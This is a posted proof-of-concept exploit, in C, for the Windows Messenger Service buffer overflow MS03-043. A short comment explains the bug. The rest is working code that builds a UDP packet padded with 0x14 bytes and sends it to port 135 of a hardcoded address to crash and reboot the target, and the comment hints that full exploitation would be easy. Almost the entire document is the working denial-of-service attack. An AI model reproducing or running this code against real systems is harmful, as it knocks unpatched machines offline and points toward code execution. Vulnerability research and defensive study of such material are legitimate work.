Proof of concept for Windows Messenger Service overflow

["Hanabishi Recca" <recca@mail.ru>]

/*

DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard.
Launching it one or two times against the target should make the machine
reboot. Tested against a Win2K SP4.

"The vulnerability results because the Messenger Service does not properly
validate the length of a message before passing it to the allocated buffer"
according to MS bulletin. Digging into it a bit more, we find that when a
character 0x14 in encountered in the 'body' part of the message, it is replaced
by a CR+LF. The buffer allocated for this operation is twice the size of the
string, which is the way to go, but is then copied to a buffer which was only
allocated 11CAh bytes. Thanks to that, we can bypass the length checks and
overflow the fixed size buffer.

Credits go to LSD :)

*/

#include <stdio.h>
#include <winsock.h>
#include <string.h>
#include <time.h>

// Packet format found thanks to a bit a sniffing
static unsigned char packet_header[] =
"\x04\x00\x28\x00"
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
"\x4f\xb6\xe6\xfc"
"\xff\xff\xff\xff" // @40 : unique id over 16 bytes ?
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\xff\xff"
"\xff\xff\xff\xff" // @74 : fields length
"\x00\x00";

unsigned char field_header[] =
"\xff\xff\xff\xff" // @0 : field length
"\x00\x00\x00\x00"
"\xff\xff\xff\xff"; // @8 : field length

int main(int argc,char *argv[])
{
        int i, packet_size, fields_size, s;
        unsigned char packet[8192];
        struct sockaddr_in addr;
        // A few conditions :
        // 0 <= strlen(from) + strlen(machine) <= 56
        // max fields size 3992
        char from[] = "RECCA";
        char machine[] = "ZEUS";
        char body[4096] = "*** MESSAGE ***";

        WSADATA wsaData;

        WSAStartup(0x0202, &wsaData);

        ZeroMemory(&addr, sizeof(addr));
        addr.sin_family = AF_INET;
        addr.sin_addr.s_addr = inet_addr("192.168.186.3");
        addr.sin_port = htons(135);

        ZeroMemory(packet, sizeof(packet));
        packet_size = 0;

        memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
        packet_size += sizeof(packet_header) - 1;

        i = strlen(from) + 1;
        *(unsigned int *)(&field_header[0]) = i;
        *(unsigned int *)(&field_header[8]) = i;
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
        packet_size += sizeof(field_header) - 1;
        strcpy(&packet[packet_size], from);
        packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

        i = strlen(machine) + 1;
        *(unsigned int *)(&field_header[0]) = i;
        *(unsigned int *)(&field_header[8]) = i;
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
        packet_size += sizeof(field_header) - 1;
        strcpy(&packet[packet_size], machine);
        packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

        fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %d\n", 
3992 - packet_size + sizeof(packet_header) - sizeof(field_header));
        memset(body, 0x14, sizeof(body));
        body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) 
- 1] = '\0';

        i = strlen(body) + 1;
        *(unsigned int *)(&field_header[0]) = i;
        *(unsigned int *)(&field_header[8]) = i;
        memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
        packet_size += sizeof(field_header) - 1;
        strcpy(&packet[packet_size], body);
        packet_size += i;

        fields_size = packet_size - (sizeof(packet_header) - 1);
        *(unsigned int *)(&packet[40]) = time(NULL);
        *(unsigned int *)(&packet[74]) = fields_size;

        fprintf(stdout, "Total length of strings = %d\nPacket size = %d\nFields 
size = %d\n", strlen(from) + strlen(machine) + strlen(body), packet_size, 
fields_size);

/*
        for (i = 0; i < packet_size; i++)
        {
                if (i && ((i & 1) == 0))
                        fprintf(stdout, " ");
                if (i && ((i & 15) == 0))
                        fprintf(stdout, "\n");
                fprintf(stdout, "%02x", packet[i]);
        }
        fprintf(stdout, "\n");
*/
        if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
                exit(EXIT_FAILURE);

        if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr, 
sizeof(addr)) == -1)
                exit(EXIT_FAILURE);
/*
        if (recvfrom(s, packet, sizeof(packet) - 1, 0, NULL, NULL) == -1)
                exit(EXIT_FAILURE);
*/

        exit(EXIT_SUCCESS);
}